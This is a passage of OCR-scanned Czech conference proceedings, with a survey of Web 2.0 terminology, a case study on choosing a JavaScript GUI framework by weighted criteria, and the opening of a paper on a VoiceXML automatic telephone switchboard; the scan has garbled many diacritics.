Zména poZadavki na webové technologie s prichodem Web 2.0 zpusobila znovu-
objevent nékterych zpola zapomenutych funkci a vlastnosti (koho by v roce 1995
napadlo psdt v JavaScriptu aplikace v rozsahu tisici vadek, byt to bylo mozné),
a taktéz tato zména zpusobila dalsi vylepSovdni prohliZecii.

Napriklad AJAX, nejcastéji skloniovany pojem z Web 2.0 technologii, pfinesl
Internet Explorer, diky implementaci asynchronniho pfistupu k serveru — objektu
XMLHttpRequest pro Outlook Web Access 2000, webového e-mailového klienta.

V soucasné dobé se, diky potfebé a tlaku vyvijenému vyvojari webovych apli-
kaci, vsichni vyrobci prohlize¢d snazi urychlovat béh JavaScriptovych aplikaci,
vylepSovat vykreslovaci jadra svych prohlizect, implementovat nové vlastnosti
(nové verze JavaScriptu a CSS) atd.

Tato kapitola je prehledem casto uzivanych termint ve spojitosti s Web 2.0.
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RIA

RIA (Rich Internet Application) je zastresujicim pojmem technologického pozadi
Web 2.0.

Presna definice tohoto pojmu, ktera se nabizi, tj. aplikace bézici na internetu,
kde sltvko rich naznac¢uje bohaté vyuziti doposud nevyuzivanych moznosti kli-
entské ¢asti aplikace (prohlizede), se ponékud komplikuje pfichodem technologii
jako je napriklad Adobe AIR. Adobe AIR totiz umoziiuje vytvorit aplikaci na-
psanou pomoci HTML, CSS, JavaScript (nebo Adobe Flash), kter4 je spustitelna
jako desktopovéa aplikace. Vysledkem je hybrid mezi tenkym klientem (prohlize-
¢em) a tlustym klientem (desktopovou aplikaci), jakysi plnostihly klient.

Urcujici je pro RIA 1uzka spojitost s webem, zédvislost aplikace na datech
umisténych kdesi v internetu.

Hlavnim cilem RIA aplikaci je poskytnout uzivateli dojem prace s desktopo-
vou aplikaci. To znamend odstranit vizualni pomalost dosavadnich internetovych
aplikaci, zpisobenou nacitanim celé stranky pfi zméné dat.

JavaScript

JavaScript je interpretovany jazyk pro WWW stranky, ktery standardizuje aso-
ciace ECMA (Europen Computer Manufacturers Association). Pomoci DOM
(Document Object Model) JavaScript umozniuje manipulaci s objekty stranky.

JavaScript se stal hlavnim motorem RIA, jeho mozZnosti jsou v sou¢asné dobé
rozsifovany bouflivé se rozvijejicimi frameworky a toolkity, které pro néj definuji
nové moznosti jako dotazovaci jazyk pro hledani DOM elementti, dalsi funkce pro
praci s DOM, pfipadné obsajuji funkce pro vytvareni kompletniho uzivatelského
rozhrani, jak je tomu v pripadé toolkitt.

JSON

JSON (JavaScript Object Notation) je format pro pfenos dat, data v tomto
formatu lze konvertovat pfimo do objektu JavaScriptu. Je oblibeny pro svoji
strucnost, oproti rozsahlym zapisum v XML.

AJAX

AJAX (Asynchronous JavaScript and XML) neni vlastné ni¢im jinym nez prak-
tickym vyuzitim moznosti provadét asynchronni dotaz na server, v JavaScriptu
je tato funkénost implementovéana jako objekt XMLHttpRequest.

Pro vytvoreni RIA aplikace je AJAX prakticky nezbytna technologie, jelikoz
pravé AJAX je klicem k vytvoreni uzivatelského rozhrani, které ma (z pohledu
uzivatele) rychlejsi odezvy.
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Asynchronni pristup umoziiuji i dalsi technologie umoznujici vytvaret RIA
aplikace, jako napt. Adobe Flash nebo Microsoft Silverlight.
Prestoze XMLHttpRequest byl ptivodné urcen k prenosu XML dat, mnohem

v

oblibenéjsi je pouzivani formatu JSON.

Webova API

UZivatelé presouvaji svd, casto citlivd data na web a s tim se nabizi otdzka: Bude
mozné se témto datum dostat jinou cestou? Mohu je pouzit i v jinych aplikacich?
A kde jsou data, tam je potreba rozhrani pro pristup k témto datim cili APIL.
Velka vétsina vyrobcl software z kategorie Web 2.0 dava k dispozici apli-
kac¢ni{ rozhrani ke svym aplikacim. Tato API lze rozdélit (dle Marka Andreesena,
spoluautora prohlizece Mosaic a spoluzakladatele Netscape) do ti kategorii:

1. Aplikace bézi kdekoliv a API poskytuje pouze data.

2. Aplikace bézi kdekoliv, ale prebird ¢ast funkcionality API, napf. pridava
menu a design (Facebook).

3. API vytvaii platformu pro béh aplikace (widgetu) (iGoogle).

Datové API z pruniho bodu oviem nemusi byt vidy tzv. webovou sluzbou, jak
by se na pruni pohled mohlo zddt. Webovd sluzba je totiZ reseni standardizované
sdruzenim W3C a omezené na pouziti SOAP a XML, webovd API vsak s oblibou
uZivaji komunikaci pomoci REST a data casto vraceji ve formdtu JSON.

Mashup

Mashup, neboli cesky michanice, je jeden ze zpusobu vyuziti API webovych apli-
kaci. Propojuje totiz dvé ¢i vice webovych aplikaci a vytvdii z nich aplikaci dalst,
michd datové zdroje.

Oblibenou, a mozna nejoblibenéjsi kombinaci pro mashup, je kombinace s ma-
povymi daty hlavné pomoci Google Maps, napi. zobrazeni nabidek realitnich
kancelari, hradt a zamkd, firemnich pobocek ¢i turné hudebni skupiny na mapé.

V souc¢asné dobé vznikaji produkty (Google Mashup Editor, Microsoft Popfly
a dalsi), které by mély umoznit laickému uzivateli kombinovat data z riznych
zdroju a vytvaret vlastni michanice.

Dalsi z moznosti je pouziti mikroforméatt, kdy data ziskana z mikroforméatu
Ize zobrazit ¢i pouzit v jiném systému — napt. zobrazeni kontaktu na mapé nebo
pridani udalosti do kalendare, pfipadné ziskavani dat z RSS zdroju.
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Web 3.0

Ceskd Wikipedia wvddi pod heslem Web 3.0 mezi charakteristickymi znaky
Webu 3.0 takové zdleZitosti, jako ,,dotazovani v prirozeném jazyce“ ¢i ,cdstecné
uméld inteligence webu“, oblibend témata v Zdnru sci-fi.

Uvazujeme-li nad dals$im rozvojem webu, jisté se da v nejblizsi dobé pocitat
s velkym zlepSenim moznosti internetovych prohlizect, s tim souvisejicim zlep-

vvvvvv

vych aplikaci. Dlouhodobé lze pfedpokladat pfesun uréitych (patrné ne vsech)
aplikaci z desktopu na web.

Zavér
At si pod pojmem Web 2.0 piedstavujeme cokoli, jisté je, Ze internet se od dob

pred splasknutim internetové bubliny zménil, a pro uzivatele rozhodné k lepsimu.

N

aby byl uzitecnym.
A je jen na vyvojarich, chtéji-li se svymi vysledky prace uspét, aby jejich
produkty byly co nejuziteénéjsi a uzivatelsky co nejprivétivéjsi.
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JAVASCRIPT A JS FRAMEWORKY

Pavel Benes

E-MAIL: PBENESQKERIO.COM

Uvod

Webové aplikace mohou byt uzivatelsky zajimavou alternativou k nativnim desk-
topovym aplikacim. A pokud jednim z hlavnich motivi je funk¢énost aplikace
odkudkoliv (¢imz se mysli poéita¢ s ,modernim“ prohliZzeGem a pfipojenim na
internet), mize se vyvojaf spolehnout na dvé jistoty — Ze dnes$ni prohlizece
umi HTML/CSS/JavaScript bez nutnosti instalace jakychkoliv doplikt, a Ze
to kazdy prohlize¢ umi trochu jinak.

Vyvojar tedy zacne hledat néjakou mezivrstvu (vyvojové prostfedi, knihov-
ny), kterd ho odstini od rozdili mezi prohlizeéi, a pokud mozno k tomu dostane
i sadu GUI prvku bézné pouzivanych v desktopovych aplikacich a komponenty
pro praci s daty. Jak konkrétné mize vybér JavaScript frameworku probihat a co
Ize od néj ocekavat, je predmétem tohoto prispévku.

Proc¢ vlastné JavaScript?

Tento prispévek neni primérné o tom, pro¢ a pro jaké ucely pouzivat JavaScript,
ale o tom, ze pokud je JavaScript vase volba, tak jestli pouzit a jak vybrat né-
jaky existujici JS framework. Ale kvili lepsimu zasazeni do kontextu si stru¢né
fekneme, proc¢ je JS nase volba. Méate-li v této otazce jasno, tuto kapitolu pte-
skocte.

Kdyz pomineme skutecnost, Ze tento jazyk mam prosté rad, zkusme najit
néjaké objektivni divody (nicméné sympatie vyvojare ke konkrétnimu progra-
movacimu jazyku je aspekt, ktery by nemél byt podcetiovan). Douglas Crockford,
senior JavaScript architekt u Yahoo!, na svych strankéch http://crockford.com/
v ¢lanku ,,JavaScript: The World’s Most Misunderstood Programming Lan-
guage“ uvadi: ,JavaScript, aka Mocha, aka LiveScript, aka JScript, aka EC-
MASCcript, is one of the world’s most popular programming languages. Virtually
every personal computer in the world has at least one JavaScript interpreter
installed on it and in active use.“ JavaScript je prosté vSudypfitomny a je na
vyvojari, jestli toho vyuzije.
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Protoze chceme administratoriim poskytnout moznost spravovat nami vy-
vijené servery ,odkudkoliv® a vzdy se stejnym komfortem, je JS nasSe volba.
Protoze chceme koncovym uzivatelim nasich klientskych aplikaci zajistit napt.
pristup k firemni posté z prace i z domova za pouziti identickych prostiedki bez
nutnosti instalace jakychkoliv programi, JS se pfimo nabizi.

Pokud je JavaScript vase volba, je tfeba jesté zvazit, zda jej pouzit jako
hlavni vyvojovy jazyk, nebo nepfimo, zakukleny v néjakém vyvojovém nastroji
zalozeném napf. na Javé (GWT — Google Web Toolkit).

Programovat v JavaScriptu nebo ho generovat?

Jako zékladni vychodisko pfi rozhodovani mezi pfimym a nepfimym pouzitim
JavaScriptu muze byt to, jaky jazyk stavajici vyvojafi klientskych aplikaci jiz
ovladaji a v jakém jazyce je realizovan vyvoj serveru. V nasem piipadé uz jed-
nak existoval tym vyvojait s praxi ve vyvoji v mixu PHP/HTML/JS, navic
servery jsou psany v C++ s embedovanym PHP, takze vstup dalsiho programo-
vaciho jazyka by pro nas predstavoval naklady na preskoleni, ¢asovou prodlevu,
nutnost vétsitho zasahu do autobuildovacich a autotestovacich néastrojt s tézko
predikovatelnym vyslednym efektem.

Mate-li vyvojafe se znalosti napf. Javy (a maji ji rddi :) ) piipadné to
je vase hlavni vyvojova platforma, pak lze najit komfortni vyvojové nastroje
v tomto jazyce generujici vysledny aplika¢ni kéd pro prohlizece v JavaScriptu.
Nicméné nenechte se zmast slogany ,JavaScript programming not required
(http: //www.jaxcent.com/), ,Ajax but no JavaScript* (http://www.zkoss.org). JS
tam ve skutecnosti je (kdo jiny by to v tom browseru bez né&jakého dalsiho do-
plitku oddfel), a v pozndmce pod ¢arou se u takového néstroje doctete: ,To
mazimize the visual effect and responsiveness, ZK provides the so-called Client
Side Action that you can execute, though optional, your own JavaScript codes
at the client.” Je tedy dobré mit v tymu i nékoho se znalosti JS.

Pro¢ néco hledat, kdyz uz jsme si cestu davno
proslapli?

Jednou za cas je dobré prehodnotit, jaké vyvojové nastroje a programovaci ja-
zyky firma nebo organizace pouziva k dosazeni svych cilti. Byt sami jsme stale
,dokonalejsi“, ani nase okoli nezah4li a nékdo mohl vymyslet néco zajimavého.
Vhodnym momentem k takovému kroku muze byt pfiprava nového produktu,
rozséhlejsi redesign stavajici aplikace nebo skutec¢nost, ze potifebujete dalsi lidi
na udrzovani jiz existujiciho kédu, aniz by se vam dafilo aplikace néjak vyrazné
vylepsit.
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A proé tedy framework?

,Neexistuje nic, co bych si nedokéazal napsat“ — to si mysli fada z nas, nékteri to
skutecné dokazou. Otazkou je, nakolik to je efektivni. Pod faleSnou zaminkou,
aby se nechodilo s kanonem na vrabce, se piSe kéd, ktery déla jen to, co je v danou
chvili nezbytné nutné. Ale v okamziku, kdy stejnou nebo podobnou funkénost
potfebujeme na dalsim misté, tak pod dalsi oblibenou zdminkou, ze ,ted neni
das“, udélame Copy&Paste a trosku priohneme. Po nékolika podobnych iteracich
(a pokud je pFitomen elementdrni pud sebezachovy) ndm dojde, Ze by piece jen
bylo lepsi si najit néjaky cas a vytvorit si znovupouzitelnou komponentu. Pak
dalsi, ... az se konecné podivate na internet, jestli nevymyslite kolo.

Tam s velkym nadSenim zjistite, Ze uz existuji hotova feseni, pak uz s mensim
nadSenim, Ze je toho néjak moc a existuji desitky produktt, které se tvari, ze
vaSe problémy vyfesi. Ale pozor na ,Hello world* syndrom — ukazkovou aplikaci
vzdycky vytvorite nadherné, ale teprve po delsim souziti jste schopni Fict, jestli
se v tom da napsat i néco slozitéjsiho. Po nékolika dnech se v odkazech na JS
knihovny zacnete topit a nabudete dojmu, Ze by mozna prece jen bylo snazsi si
napsat néco vlastniho, nez se v té hromadé pfehrabovat (mozZzna proto je toho
tolik). A tak zaCnete vymyslet, jak v té zaplavé informaci najit to podstatné.
Zde vdm ukaZeme nasi cestu — ani s jednoletym odstupem si netroufam tvrdit,
7e jsme nasli to nejlepsi pro nase potfeby, ale jsem presvédcen, Ze to rozhodné
nebyl propadak a stalo to za to.

A jesté jedna podstatnd véc — potfebujete aplikace nejen psat, ale také testo-
vat, a to pokud mozno v co nejvétsi mire automaticky. Ruéni proklikdni je sice
nezastupitelné, ale ¢asové naro¢né a mélo by pfijit na fadu, az kdyz automatické
testy jsou OK. V zavislosti na testovacich néastrojich pak mize byt dilezité, jak
moc je do vysledného produktu ,,vidét«.

Jak jsme vybirali

Uz jsem zminoval Hello world syndrom. Na to je pfipraven kazdy vyvojovy na-
stroj. Stézi si ale nékdo mize dovolit brat jeden framework za druhym a zkouset
v ném napsat néjakou aplikaci alespon pfiblizného rozsahu jako ma byt cilova.
Nez tedy zacnete Tesit ,,co vybrat“, musite vyfesit ,jak vybirat®, t.j. definovat
proces vybéru, jeho cil, specifikovat vybérova kritéria, dat tomu urcity casovy
ramec a pridélit lidské zdroje. Je to projekt.

Cil projektu:
Zkusit najit co nejlepsi JS framework pro nase webové klienty. Vysledkem
muze byt bud ,framework nalezen“ nebo ,nenalezen — vyvineme vlastni“.
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Co od frameworku ocekavame:

e Zlepsit user experience (framework by mél poskytnout konzistentni GUI,
ovladaci prvky znamé z desktopovych aplikaci, asynchronni pfenos dat).

e Usetfit ¢as nutny pro vyvoj (snadnd implementace, znovupouzitelnost ké-
du, odstinéni specifik jednotlivich prohlizeéit).

e UsSetrit Cas nutny pro udrzbu.

Prvni véci, na které se musi realiza¢ni tym shodnout, je definice ,shody*.
Kdy je shoda? Kdy# souhlasi 100 %, nebo 80 %, nebo staci kfehké4 parlamentni
vétsina? Pochopitelnd ¢m vétsi procento, tim vérohodné&jsi vysledek. 80 % je
velmi slusné a nehrozi deadlockem. Pak uz tym muze zacit vymyslet cely proces
vybéru.

Definice vybérového procesu

e Sestavit vybérovou mnozinu produkti,
e definovat kritéria,

e aplikovat ,smrtelna® kritéria,

e aplikovat ,vazena“ kriteria,

e vytvorit zjednodusenou realnou aplikaci,

e 0ovérit na nejblizsim mozném projektu.

Sestaveni mnoziny kandidati je viceméné administrativni, ale nezbytnd za-
lezitost. Lze Cerpat z riiznych zdrojt — literatura, internet, a nezapomente na
kolegy klidné i z relativné nesouvisejicich oddéleni. Nase mnozina citala 91 pro-
dukti, véetné nékolika vyuzivajici Flash nebo Javu — prosté kdo co nasel nebo
doporucil.

Mame tedy z ¢eho vybirat, zkusme vymyslet, jak vybirat.

Vybérova kriteria

Pri definici kriterii nebo i pfi jejich aplikaci se dopoustime néjakych chyb. Kdyz si
pfi vybéru partnerky zadefinujete — blondynka, 165, 90-60-90, mila, inteligentni,
pracovitad — muizete se ptripravit o brunetku, které ostatni kritéria spliiuje. Pokud
pak v mnozine blondynek nenajdete tu, ktera spliiuje 100 %, budete postupné
slevovat z ostatnich kriterii a na konci vybérového procesu budete radi, bude-li
to Zena, a to jen proto, ze jste nékterym kritériim dali Spatnou dilezitost nebo
jste smysl nékterych kriterii nebyli schopni posoudit.
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Definice vybérovych kriterii a zpusob jejich aplikace je tedy velmi dulezi-
tou soucésti celého procesu a je nutné tomu obétovat potiebny cas. Méla by to
byt zéalezitost celého tymu budoucich uzivatelt frameworku, popf. vybranych za-
stupcti, protoze jeden ¢lovék nemiiZze mit detailni pfehled o problematice, kterou
fesi ostatni a mohlo by se na néjakou dtlezitou vlastnost zapomenout.

Smrtelna kritéria

MiZe mit framework néjaké vlastnosti, které nejsem ochoten akceptovat, a nao-
pak postradat néco, bez ¢eho se neobejdu, a pfitom informace o nich mize byt
snadno dostupné (zdkladni specifikace produktu, dokumentace, . ..)? Na zdkladé
takovych kritérii 1ze pocet zkoumanych kandidatt rychle snizit. Pro néas to byla
tato kritéria:

e Neni podporovén néjaky z nasledujicich browsertd (poplatné Q1/2007):

—IE6ac7
— Firefox 1.5 a 2
— Safari 2

e Chaba nebo zadna dokumentace
e Neprojde jednoduchym bezpecnostnim auditem

e Serverova ¢ast (pokud existuje) neni napsand v PHP a nelze ji oddélit od
klientské casti

e Spatné rozsifitelnost

e Spatné architektura (zcela postrada MVC, kéd je mixem PHP/JS/HTML)
e Neakceptovatelna licence

e Prilis vysoké poplatky

e Chaby nebo zadny vyvoj (s produktem se dlouho nic nedéje)

e Extrémné nizky p¥inos (je to néco jiného, nez se ptivodné zd4lo)

Vazena kriteria
Na prezivsi kandidaty je tfeba se podivat trochu hloubéji. Definujeme dalsi kri-

vvvvv

tolerovat. Tahle faze uz predpoklada, ze musime framework stahnout a trochu
jej pouzivat.
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subjektivni pocit 100 %
rychlost podpory novych verzi prohlizectu 90 %
GUI prvky 85 %
performance 80 %
budouci zivotaschopnost (nechceme kazdy rok hledat znovu) 80 %
AJAX a Web Services 80 %
interni kvalita véetné dostupnosti zdrojovych kéda 80 %
rychlost nasi adaptace na framework 70 %
implementa¢ni jednoduchost 70 %
vyzralost 70 %
lokalizace 35 %
vyvojové prostiedi (mtzu si ,naklikat* dialog?) 30 %

Vlastni vybérovy proces

Prvni kolo vybéru — aplikace smrtelnych kritérii

Kazdy framework byl provéfen dvéma vyvojari z hlediska smrtelnych kritérii.
Duplicita je vhodna kvili eliminaci pfili§ subjektivniho piistupu k nékterym
kritériim. Na skute¢nost, ze framework nepodporuje Safari, se nizory asi jen
stézi rozejdou, ale jestli je dokumentace mizerna nebo dostacujici uz je slozitéjsi.

Jak se nastésti ukézalo, pivodni mnozina obsahovala fadu sice zajimavych
knihoven, ale bez GUI prvkid, nebo tzce svazanych se serverovou stranou.
A (ne)podpora Safari byl skuteény zabijak. Na konci prvniho kola zbylo 5 kan-
didata:

e Dojo

OpenLaszlo

e Smart Client

Yahoo! UI Library

e Zapatec AJAX Suite

Druhé kolo vybéru — aplikace vazenych kritérii

Kazdy framework byl posuzovan 5-ti vyvojafri po dobu 1-2 dnii, kazdé kritérium
ohodnoceno body v rozmezi 0-100. Kritéria, u kterych byl v hodnoceni velky
rozptyl, byla v tymu diskutovana a pfipadné pfehodnocena. Pak se aplikovaly
vahy a vysledny Zebticek byl:
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Poradi | Framework Skére
1 Yahoo! Ul Library 631
2 SmartClient 616
3 Dojo 556
4 OpenLaszlo 555
5 Zapatec 544

Tieti kolo vybéru — napsani realné aplikace

VsSechny piedchozi kroky 1ze vice ¢i méné oznacit za povrchni pohled za tcelem
redukce pivodni mnoziny kandidatt. Ted je nacdase jit do hloubky a proveéfit,
zda predchozi kola nam skutec¢ne pomohla vybrat néco zajimavého, v ¢em jsme
schopni relativné rychle zacit vyvijet a vytvorit aplikaci s o¢ekdvanou funkénosti
a uzivatelskym rozhranim. S vitézem druhého kola (Yahoo! UI Library — YUI)
tedy zkusime napsat aplikaci.

Jako testovaci aplikace byl vybran zjednoduseny WebMail (toho ¢asu nase
nejrozséhlejsi webova aplikace, pficemz bylo mozné vyuzit stdvajici serverovou
¢ést) zhruba v tomto rozsahu:

Layout

Zakladni okno méa v levé Casti strom se slozkami, prava Cast
rozdélena ve vertikalnim sméru na horni panel s toolbarem se
seznamem zprav v aktualné vybrané slozce a na dolni panel
s nadhledem na aktudlné vybranou zpravu. Jednotlivé regiony
jsou resizovatelné (splitter).

Toolbar

Toolbar obsahuje tla¢itka s ikonami, drop down menu (bez
funkcionality, ale napf. tlacitko ,,Delete je dostupné jen kdyz
je vybrana néjakd zpréva).

Tree

Strom obsahuje slozky nactené ze serveru, ikony dle typu slozky
(maily, kalendafe, kontakty, ...). Konextové menu pro slozku
(nové slozka, pfejmenovéni, smazini), drag’n’drop pro pfesun
slozek véetné odeslani requestu na server.

Grid

Seznam zprav pro aktudlné vybranou slozku ve stromu, zob-
razi 100 nejnovejsich zprav se sloupci From, Subject, Received,
Priority. Sloupec Size je skryty, pfes menu pro zahlavi gridu
Ize zobrazit. Sloupce lze prehazovat a resizovat. Vybér radku
vcetné Shift, Ctrl.

Drag’n’drop vybranych fadek do stromu slozek (bez requestu
na server, jen informacni alert).

View Panel

Zobrazeni zpravy — prosté zobrazeni jako plain text.

Dialog

Nové okno s dialogem se dvéma zalozkami pro vytvoreni jed-
noduchého kontaktu véetné ulozeni na server.
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Ttesnickou na dortu je nasazeni WATS (Web Auto Tests — nas vlastni ndstroj
pro automatické testovani webovych aplikaci) na vyslednou aplikaci. Konkrétné
spustime test, ktery ovéri, ze se po kliknuti na hlavni slozku se zpravami zobrazi
jeji obsah. Tim zjistime, jestli nase stavajici testovaci prostiedi prezije.

Na tuto fazi jsme vy¢lenili 6 vyvojait po dobu dvou tydnt, vzdy dva pracovali
spole¢né. Vznikly tedy tii aplikace, které jsme si navzdjem prezentovali. Zadani
se ne vzdy podafilo kompletné naplnit, ale uz to mtize mit urcéitou vypovidaci
hodnotu. Na zavér méli vyvojari znovu ohodnotit vybrany nastroj v rozmezi
(—5;45) s timto vyznamem:

—5 — Uplny tragéd, vice prace pridélal nez usettil
0 — zaddny prinos, stejné, jako kdybych si vSechno psal sam
5 — uplné parada, usettilo to spoustu prace

Vyslednych +1.08 nebyl zadny divod k radosti. Ale pfi hledani feSeni kon-
krétnich implementacnich detaild jsme narazili na dalsi nastroj vychézejici
z YUI — Ext JS. Sice pomérné mlady produkt (tehdy ve verzi 1.0), ale ptiso-
bil pFivétivéji (pfehlednéjsi API, dobrd dokumentace), nez YUIL A tak jsme se
vratili do druhého kola a aplikovali vazena kritéria. Ext JS ziskal 625 boda —
skoncil by tedy druhy za YUI, ale s nepatrnou ztratou a YUI nas zatim nepfe-
svédcilo. TakzZe jsme si zopakovali i tfeti kolo, dali tomu dalsi dva tydny, znovu
napsali tii aplikace a znovu vyhodnotili. S vysledkem 2.8 jsme uz byli spokojeni
a méli vybrano!

Zaveér

Teckou za celym procesem je realné pouziti vybraného produktu na néjaké apli-
kaci a jeji distribuce uzivatelim. Teprve uzivatelé posoudi, zda dostali néco vy-
spélejsiho, co se jim dobie pouziva. To se pravé odehrava a s napétim ocekavame
zpétnou vazbu. Pfinos pro nas samotné je zfejmy uz nyni.

S Ext JS jsme ziskali vic nez jen slusné zdokumentovany nastroj s ucelenou
sadu GUI prvkt vyuzivajicich asynchronni komunikaci se serverem s podporou
JSON forméatu. Pouziti néjakého frameworku neznamend jen naudit se jeho API,
je dobré pochopit i jeho filozofii — jediné tak z néj mizeme vytézit maximum
a lépe analyzovat pfipadné problémy. Naucili jsme se 1épe myslet v JavaScriptu,
chceme vice dédit, nez kopirovat. Mizeme se vice soustfedit na vlastni aplikaci
misto na if (isSafari) {...}.

Rozhodnout se pro zménu zazitych praktik neni jednoduché. Stoji to cas,
penize, chce to trochu odvahy a nikdo vam nezarudi, ze zitra nebude vsSechno
jinak. Vsichni vime, Ze Stésténa je vrtkava — Ext JS zménil mezi verzemi 2.0.2
a 2.1 licen¢ni politiku z LGPL na GPL, SmartClient (tfeti po 2. kole a mtij velky
favorit) naopak zménil komeréni licenci na OpenSource (za téchto podminek
v dobé vybérového procesu by jasné vyhral). To jsou ale jen drobné komplikace
ve srovnanim s tim, jak nas pouziti frameworku posunulo technologicky vpred.
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AUTOMATICKA TELEFONNI SPOJOVATELKA

Lubo$ Smidl, Tomas Valenta, Petr Hanousek

E-MAIL: SMIDL@QKKY.ZCU.CZ, VALENTAT@QKKY.ZCU.CZ,
PHANOUSK@QCIV.ZCU.CZ

Kli¢ova slova: VoiceXML, ASR, TTS, dialog s po¢itacem

Abstrakt

Automaticka telefonni spojovatelka je pocitacovd telefonni aplikace, jejimz cilem je pre-
pojit hovor volajictho na linku volané osoby, aniZ by volagici musel zndt jeji telefonni
¢islo. Hlavng édsti aplikace je hlasovy dialogovy systém mapojeny na telefonni sit, pro-
strednictvim kterého jsou od uZivatele ziskany potrebné informace a naopak, uZivatel je
informovdn o prubéhu spojeni ¢i dalsich podrobnostech.

Zaddni jména volaného (resp. celd komunikace) probihd hlasem, tudiz je nezbytné
respektovat vSechny naleZitosti a poZadavky tykajici se komunikace uzivatele s pocita-
cem mluvenou Teci. Vzhledem k nasazeni na akademické pudé aplikace neomezuje vstup
uZivatele pouze na jmeéno a priment, ale umoznugje volné zadani véetné titulu, oslovent,
funkce, katedry. To z jedné strany cinni ulohu vyrazné sloZitéjsi a komplikovanéjsi, na
druhé strané ale davd mozZnost demonstrovat soucasny stav pouZité technologie a prile-
Zitost zkouset nové metody ASR a vedeni dialogu, a tim ddle pFispivat k dalsimu rozvoji
této technologie.

Uvod

Prvni jednoduchy prototyp automatické spojovatelky byl nasazen na katedfe
kybernetiky jiz v roce 2003. Jednalo se o jednoduché proprietarni feSeni urcené
pro ,zkuSené uzivatele* [1], kdy bylo nutné vyslovit vZdy jen jméno a p¥ijmeni
volané osoby. Diky tomu byl ¢as dialogu minimalizovan na nezbytnou dobu pfe-
hrani vyzvy k zadani zaméstnance a vysloveni jména a prijmeni.

Postupem c¢asu se mnozstvi kontakti rozriistalo, stejné tak jako pocet aktiv-
nich uzivateld. Diky pozitivnim zkusenostem vznikla myslenka nasadit spojova-
telku pro celou Zapadoceskou univerzitu v Plzni. Z jednoduché telefonni dialo-
gové aplikace bylo tfeba vyvinout robustni a univerzalni spojovatelku, kterd by
byla schopna obslouzit jak ,neznalé uzivatele“ nemajici s aplikaci zadnou zku-
Senost, tak i dostatecné rychle odbavit ,,zkusené uzivatele®, ktefi spojovatelku
pouzivaji pravidelné.
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Struktura

Aplikace, jez ma byt schopna zastoupit funkcnost lidské telefonni operatorky,
se sklada z nékolika modulti — dialog v jazyce VoiceXML, interpreter jazyka
VoiceXML zahrnujici automatické rozpoznévani fec¢i (ASR — automatic speech
recognition) a syntézu feci z textu (T'TS — text-to-speech), databédze obsahujici
telefonni seznam, a webova prezentace popisujici celé feSeni véetné administracni
Casti umoznujici napf. spravu vyjimek vyslovnosti jmen, titult apod.

SQL Database (Oracle)

User

Telephone
TCPNP network

Internet Information VoiceXML Interpreter
Server (Speech Engine)

VoiceXML

XML (eXtensible Markup Language) je znackovacim jazykem, ktery je zdkla-
dem pro mnoho jinych jazyku. Do skupiny jazyku, které vznikly z XML fadime
i VoiceXML. [2] Znackovacim jazykem se nazyva proto, Ze pomoci znacek pii-
klada datim néjaky specificky vyznam.

Jazyk VoiceXML (Voice eXtensible Markup Language) byl vytvoren Voice-
XML férem, zalozenym firmami AT & T, IBM, Lucent a Motorola. Férum bylo
zaloZeno pro vyvoj a podporu jazyka VoiceXML, nového pocitacového jazyka
urceného pro zpristupnéni obsahu a informaci z Internetu ptes hlas a telefonni
zafizeni. Veskeré blizsi informace tykajici se VoiceXML jsou popsany ve specifi-
kaci jazyka a v navrhu W3C. [3]
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Mezi hlavni vyhody VoiceXML a aplikaci v ném psanych patii zejména:

e minimalizace narok na komunikaci klient/server spojenim vice interakci
do jednoho dokumentu (nejprve zjistim vSechna data od uzivatele (vede
dialog) a pak provede dotazy na server dokumentt),

e skryva pred aplika¢nimi programatory nizkotroviové a platformoveé zavislé
detaily, umoznuje lepsi prenostitelnot,

e oddéluje uzivatelské rozrani (VoiceXML) od programové logiky,

e jednoduchy jak pro jednotlivé interakce, tak slozitéjsi dialogy.

Interpreter VoiceXML

Jednou z klicovych ¢asti systému je interpreter jazyka VoiceXML, ktery se stara
o komunikaci po telefonni siti, syntézu Feci z textu [4], automatické rozpozna-
vani feci [5] a Fizeni dialogu. Schéma dialogu a text, ktery ma byt vysloven TTS
jednotkou je interpreteru predavan ve formatu VoiceXML. ASR jednotka neroz-
poznéva spontanni fec, ale promluvy generované gramatikou ve formatu ESGF
(ERIS Speech Grammar Format), jenz vychézi ze standardu JSGF (Java Speech
Grammar Format). [6]

Interpreter ziskdva VoiceXML dokumenty z webového serveru (dokumentovy
server) pies protokol HTTP (HyperText Transfer Protocol) podobné, jako zis-
kava prohlize¢ www stranky. VoiceXML dokumenty jsou dynamicky generovany
skriptovacim strojem PHP (PHP Hypertext Processor) v zavislosti na pfedcho-
zich uzivatelskych vstupech. Jako zdroj dat slouzi databaze Oracle. V ni byl
vytvoren programovy balicek, ktery dokaze ziskavat data z telefonniho seznamu
ZCU ve formé vhodné pro Spojovatelku a prohledavat telefonni seznam dle uzi-
vatelskych dotazu.

Aplikace Automaticka telefonni spojovatelka

Jak jiz bylo vyse zminéno, vysledkem aplikace jsou Voice XML dokumenty dyna-
micky generované PHP aktualné reagujici a fesici pozadavky uzivatele respektu-
jici data ulozend v databazi. Tyto ve vysledku pomérné jednoduché dokumenty
v sobé zahrnuji fadu nezbytnych ¢innosti, jeZ je tieba jak béhem generovani
VoiceXML dokumentu, tak pred nim vykonat. Mezi tyto ¢innosti patii pfiprava
dat a jejich normalizace (nap¥. pfepis zkratek), déle a hlavné névrh struktury
celého dialogu.
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Dobry den/veder.
Vita vas automaticka telefonni spojovatelka.

Zadejte prosim jméno zaméstnance (< - - - : 0= Nové zadani

0 — Nové zadani
9 - Piepojit na operatora

1 —0Osoba 1

2 -0Osoba 2 . .
- operator }< - --: 9 — Pfepojit na operatora :
0 - Nové zadani

9 — Pfepojit na operatora

upfesnéni whir

~ 1 - Volat

2 — Podrobnosti =
3 = Vybrat éislo ~
0 — Nové zadani

9 — Prepojit na operatora

storno

1 - Cislo ###t#, pracovisté 1
Voldm osobu . .. 2 — Cislo #i###, pracovité 2 Osobu zastihnete v mistnosti . . .
* — Navrat

neodpovida/obsazeno

l 1 — Opakovat
spojeno 3 — Vybrat islo —
0 — Nové zadani
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Pro spravnou funkcénost aplikace Automatickd telefonni spojovatelka je
kromé serveru s databazi telefonnich ¢isel nutné mist jesté webovy server (nékdy
nazyvany dokumentovy server) s podporou skriptovaciho jazyka (u nis PHP)
a dale server pro interpreter VoiceXML s pripojenim k telefonni siti. Interpreter
aktualné bézi na serveru se 4 procesory XEON 2.6 GHz. Tento server je pro sou-
casnou konfiguraci spojovatelky predimenzovan, obecné na jednu linku je vice
nez dostate¢né jedno jadro procesoru. Predpokldda se prechod z ISDN na SIP
